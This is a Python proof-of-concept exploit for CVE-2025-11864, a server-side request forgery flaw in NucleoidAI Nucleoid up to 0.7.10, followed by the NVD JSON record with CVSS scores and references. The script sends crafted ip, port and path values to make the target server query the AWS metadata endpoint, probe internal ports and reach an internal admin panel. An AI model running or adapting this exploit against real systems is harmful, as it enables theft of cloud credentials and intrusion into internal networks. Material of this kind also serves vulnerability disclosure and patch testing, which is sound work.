CVE-2025-11864

# CVE-2025-11864 PoC - NucleoidAI Nucleoid SSRF # Vulnerability: Server-Side Request Forgery in extension.apply function # Affected file: /src/cluster.ts # Affected versions: <= 0.7.10 import requests TARGET_URL = "http://target-nucleoid-server:PORT" # The extension.apply function accepts user-controlled parameters # including https/ip/port/path/headers, allowing SSRF attacks def exploit_ssrf(target, internal_ip, internal_port, path="/"): """ Exploit SSRF via extension.apply function in cluster.ts By manipulating the https/ip/port/path/headers arguments, an attacker can force the server to make requests to arbitrary destinations. """ # Craft payload to trigger SSRF through extension.apply payload = { "https": False, "ip": internal_ip, "port": internal_port, "path": path, "headers": { "Content-Type": "application/json" } } # Send request to the vulnerable extension.apply endpoint response = requests.post( f"{target}/api/extension/apply", json=payload, timeout=10 ) print(f"[*] SSRF Response Status: {response.status_code}") print(f"[*] SSRF Response Body: {response.text}") return response # Example usage: Access internal metadata service if __name__ == "__main__": # Example 1: Access AWS metadata service print("[+] Attempting to access internal metadata service...") exploit_ssrf(TARGET_URL, "169.254.169.254", 80, "/latest/meta-data/") # Example 2: Scan internal network print("[+] Attempting internal port scan...") exploit_ssrf(TARGET_URL, "127.0.0.1", 8080, "/") # Example 3: Access internal services print("[+] Attempting to access internal admin panel...") exploit_ssrf(TARGET_URL, "192.168.1.1", 80, "/admin")

{"cve": {"id": "CVE-2025-11864", "sourceIdentifier": "[email protected]", "published": "2025-10-16T21:15:34.883", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in NucleoidAI Nucleoid up to 0.7.10. The impacted element is the function extension.apply of the file /src/cluster.ts of the component Outbound Request Handler. Such manipulation of the argument https/ip/port/path/headers leads to server-side request forgery. The attack may be performed from remote."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/lakshayyverma/CVE-Discovery/blob/main/Nucleoid.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.328809", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.328809", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.669928", "source": "[email protected]"}]}}